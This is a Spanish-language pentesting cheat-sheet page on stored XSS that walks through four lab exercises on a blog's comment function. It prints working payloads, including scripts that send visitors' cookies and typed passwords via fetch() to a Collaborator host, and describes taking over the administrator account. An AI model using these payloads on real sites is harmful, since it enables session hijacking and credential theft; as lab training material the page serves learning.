> For the complete documentation index, see [llms.txt](https://w0lf-f4ng.gitbook.io/cheat-sheet/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://w0lf-f4ng.gitbook.io/cheat-sheet/pentesting-web/vulnerabilidades/cross-site-scripting-xss/stored-xss.md).

# Stored XSS

Stored XSS (o Persistent XSS) se produce cuando el payload inyectado es almacenado en la base de datos del back-end y es consumido por cada visitante de la página web.

## Impacto del ataque de un Stored XSS

Si un atacante puede controlar un script que es ejecutado en el navegador de la víctima, puede comprometer a dicho usuario. En este caso, el atacante puede llevar a cabo cualquier acción aplicada al Impacto del ataque de un Reflected XSS.

En términos de explotabilidad, la diferencia clave entre el Reflected XSS y el Stored XSS es que una vulnerabilidad Stored XSS permite ataques que están autocontenidos dentro de la propia aplicación.

## Stored XSS en contexto HTML sin nada codificado

> El siguiente sitio posee un Stored XSS en la función de comentarios.

Al revisar el sitio, vemos que este es un blog, el cual, posee múltiples post:

<figure><img src="https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2FTzOiSb1zkhOaJjvLhHEl%2FPasted%20image%2020230217112801.png?alt=media&amp;token=33c05632-bc0c-4bf2-988b-fcb695af3fa7" alt=""><figcaption><p>Web Site</p></figcaption></figure>

Al ingresar a uno de los posts, vemos que tiene la opción de dejar comentarios:

<figure><img src="https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2FhMsF57DpVMP63hfaSdbW%2FPasted%20image%2020230217112854.png?alt=media&amp;token=777257bf-83c4-480a-a86e-a4de59cd219d" alt=""><figcaption><p>Campo de comentarios</p></figcaption></figure>

Validamos si podemos modificar estos campos usando etiquetas HTML agregando el tag H1 en el nombre y en el comentario:

<figure><img src="https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2FfTNPo8dZAkO9FfjYRrxN%2FPasted%20image%2020230217113409.png?alt=media&amp;token=728a606e-cc17-43e4-b6de-ccc535803a8a" alt=""><figcaption><p>Tags HTML</p></figcaption></figure>

Como se puede apreciar, la etiqueta se refleja en la sección comentario y no en el nombre, debido a que, en el nombre, los caracteres se encuentran codificados en HTML:

<figure><img src="https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2FLcQViCqHRurzQfjSIDum%2FPasted%20image%2020230217113716.png?alt=media&amp;token=b1802e9c-0fc4-4466-89b1-39edd0d97169" alt=""><figcaption><p>Tags reflejados</p></figcaption></figure>

<figure><img src="https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2FpmLUZlTnb4MRC1tTxrna%2FPasted%20image%2020230217113741.png?alt=media&amp;token=da314fe1-2795-4a70-af7a-7c22e8226f15" alt=""><figcaption><p>Tags reflejados en la respuesta</p></figcaption></figure>

Ahora le agregamos el siguiente payload para poder explotar el XSS:

```html
<script>alert(1)</script>
```

<figure><img src="https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2FND5KbpX8IHH0Qn2diFUk%2FPasted%20image%2020230217114247.png?alt=media&amp;token=aca269c8-c2fb-4fb6-ad83-caf467c250d2" alt=""><figcaption><p>Payload</p></figcaption></figure>

Este se ve reflejado en la respuesta:

<figure><img src="https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2FvpME8th1KEzJRQghvfuQ%2FPasted%20image%2020230217114309.png?alt=media&amp;token=d88bcd3f-5fbc-47e5-9d76-cda1ee6ffa3d" alt=""><figcaption><p>Payload reflejado</p></figcaption></figure>

Y cada vez que alguien consuma este post, el script será ejecutado:

<figure><img src="https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2F5evw82FigClHQyIQc6kh%2FPasted%20image%2020230217114406.png?alt=media&amp;token=6ac29cc7-8cf0-4d5f-a325-4faf167094a0" alt=""><figcaption><p>Ejecución del payload</p></figcaption></figure>

## Stored XSS en el tag anchor con atributo href con comillas dobles codificado en HTML

> El siguiente sitio posee un Stored XSS en la función de comentarios.

Al revisar el sitio, es un blog, el cual, posee múltiples post:

<figure><img src="https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2FIeZacHEzb5w2kel1cMPw%2FPasted%20image%2020230218225015.png?alt=media&amp;token=3d25e283-4f51-4638-aa11-6d7ff1e32162" alt=""><figcaption><p>Sitio web</p></figcaption></figure>

Al ingresar a uno de los posts, vemos que tiene la opción de dejar comentarios:

<figure><img src="https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2FfLefMsM4XmAy3seX3F5i%2FPasted%20image%2020230218225032.png?alt=media&amp;token=86c81894-a821-432c-b1e5-67e6eece467e" alt=""><figcaption><p>Comentarios</p></figcaption></figure>

Ingresamos datos para validar como son procesados:

<figure><img src="https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2FXp063Bk3fXOXwyQjQKMr%2FPasted%20image%2020230218230213.png?alt=media&amp;token=8a8df7b3-a256-4376-a6a9-8e7d71c1423d" alt=""><figcaption><p>Datos enviados</p></figcaption></figure>

Vemos que se reflejan los datos ingresados en los parámetros `Comment`, `Name` y `Website`:

<figure><img src="https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2F8ifvRuqm1UagVHJ17Q4n%2FPasted%20image%2020230218230501.png?alt=media&amp;token=51907f95-6a70-4231-971a-998c31f093f8" alt=""><figcaption><p>Datos reflejados</p></figcaption></figure>

En el parámetro `Website` usamos el siguiente payload `javascript:alert(1)`:

<figure><img src="https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2FN3iRktT6EqELihYrBSQE%2FPasted%20image%2020230218230641.png?alt=media&amp;token=27788a0b-65ae-4ae4-8352-62b0cea527b1" alt=""><figcaption><p>Payload</p></figcaption></figure>

Este payload no es codificado en la respuesta:

<figure><img src="https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2FKxLMLVY4bkehYBfigbOa%2FPasted%20image%2020230218230716.png?alt=media&amp;token=8ff9b851-9107-479e-810c-342db9533ccd" alt=""><figcaption><p>Payload reflejado</p></figcaption></figure>

Al momento de hacer clic en el enlace, se explota el XSS:

<figure><img src="https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2FCYwVuZZMSSEpP8VnJGu1%2FPasted%20image%2020230218230727.png?alt=media&amp;token=623d9f7f-26f6-4866-b14d-a411d32fea1a" alt=""><figcaption><p>XSS</p></figcaption></figure>

## Explotación de XSS para robar cookies

Al revisar el sitio, es un blog, el cual, posee múltiples post:

<figure><img src="https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2F9GzjBFrwKaWyWGnzAdSm%2FPasted%20image%2020230218232005.png?alt=media&amp;token=8691d1e1-3fc9-4a83-847c-14ff63c4bcad" alt=""><figcaption><p>Sitio web</p></figcaption></figure>

Al ingresar a uno de los posts, vemos que tiene la opción de dejar comentarios:

<figure><img src="https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2FvKDzhSo6qMxuSglHtF2s%2FPasted%20image%2020230218232025.png?alt=media&amp;token=132fa795-9f6f-482c-bd2a-afd0ab3f3d1d" alt=""><figcaption><p>Comentarios</p></figcaption></figure>

En la sección comentarios agregamos el siguiente payload con una dirección de la herramienta [Collaborator](https://portswigger.net/burp/documentation/desktop/tools/collaborator):

```html
<script>
fetch('https://COLLABORATOR', {
method: 'POST',
mode: 'no-cors',
body:document.cookie
});
</script>
```

<figure><img src="https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2FVaPSsdyOLbiUsitWPXKm%2FPasted%20image%2020230218234248.png?alt=media&amp;token=85530e99-63d4-4646-b75d-f637b4dbcf5f" alt=""><figcaption><p>Payload</p></figcaption></figure>

Vemos que lo ingresado se refleja en la respuesta:

<figure><img src="https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2FbDyhsSeNmEzCeUX8I6Py%2FPasted%20image%2020230218234404.png?alt=media&amp;token=67443018-7a85-418a-872c-d87e12e2bc60" alt=""><figcaption><p>Datos reflejados</p></figcaption></figure>

Al revisar Collaborator, vemos que en el body del request se mandan las cookies del usuario que está revisando el post:

<figure><img src="https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2Fo2ORuMTskpWLNDHjKESp%2FPasted%20image%2020230218234426.png?alt=media&amp;token=88165dfa-716e-4d53-ac88-cfc7a564ec66" alt=""><figcaption><p>Collaborator</p></figcaption></figure>

Estas cookies las podemos agregar a nuestro cookie jar para personificar a dicho usuario:

<figure><img src="https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2FtDQaTMrusi2A0bZ42TKa%2FPasted%20image%2020230218234445.png?alt=media&amp;token=87251230-8a5a-4a4d-9b15-49cf8e041f63" alt=""><figcaption><p>Cookie jar</p></figcaption></figure>

## Explotando XSS para capturar contraseñas

Al revisar el sitio, es un blog, el cual, posee múltiples post y un login:

<figure><img src="https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2Fw1B0BMtBsg2nBjz8Ok1m%2FPasted%20image%2020230219001102.png?alt=media&amp;token=a545f5e8-80cf-45ce-8ef7-40fc9334d66f" alt=""><figcaption><p>Sitio web</p></figcaption></figure>

En el login, vemos que se encuentran los inputs para el username y el password:

<figure><img src="https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2Fj4Tf2k9ASdD8HHTGPpg2%2FPasted%20image%2020230219001223.png?alt=media&amp;token=bb079362-1422-4297-9ffc-eee8cea9892f" alt=""><figcaption><p>Login</p></figcaption></figure>

En los posts posee una opción para dejar comentarios:

<figure><img src="https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2FB4NwbFoJz3uNpsSdGirW%2FPasted%20image%2020230219001244.png?alt=media&amp;token=8fbad406-6022-47fc-8314-0ce17517d2ab" alt=""><figcaption><p>Comentarios</p></figcaption></figure>

En la porción de comentarios agregamos el siguiente payload para obtener las credenciales de algún usuario:

```html
<input name=username id=username>
<input type=password name=password onchange="if(this.value.length)fetch('https://COLLABORATOR',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">
```

<figure><img src="https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2F92QROfSlhIbRFHZDt0ds%2FPasted%20image%2020230219001955.png?alt=media&amp;token=6130c39f-b48b-4053-9c33-67b3d81868fa" alt=""><figcaption><p>Payload</p></figcaption></figure>

Al revisar los mensajes recibidos en el Collaborator, vemos que tenemos las credenciales del usuario `administrator`:

<figure><img src="https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2FXA1BBh559N0naRbBL0tu%2FPasted%20image%2020230219002033.png?alt=media&amp;token=2978f4d1-7cb8-4a24-97c2-a57f28c41d82" alt=""><figcaption><p>Collaborator</p></figcaption></figure>

Ingresamos las credenciales en el portal de login y accedemos a la cuenta de dicho usuario:

<figure><img src="https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2FWVuy5GuvsBb3oKzJlOeK%2FPasted%20image%2020230219002039.png?alt=media&amp;token=6284e806-91f5-4dd1-9287-70fb4c6b98ae" alt=""><figcaption><p>Login</p></figcaption></figure>

<figure><img src="https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2F4bBkSLiEGO5lfORZvJF9%2FPasted%20image%2020230219002046.png?alt=media&amp;token=28b815ef-1087-4afc-89db-0e1eb37df969" alt=""><figcaption><p>Acceso a la cuenta de usuario</p></figcaption></figure>
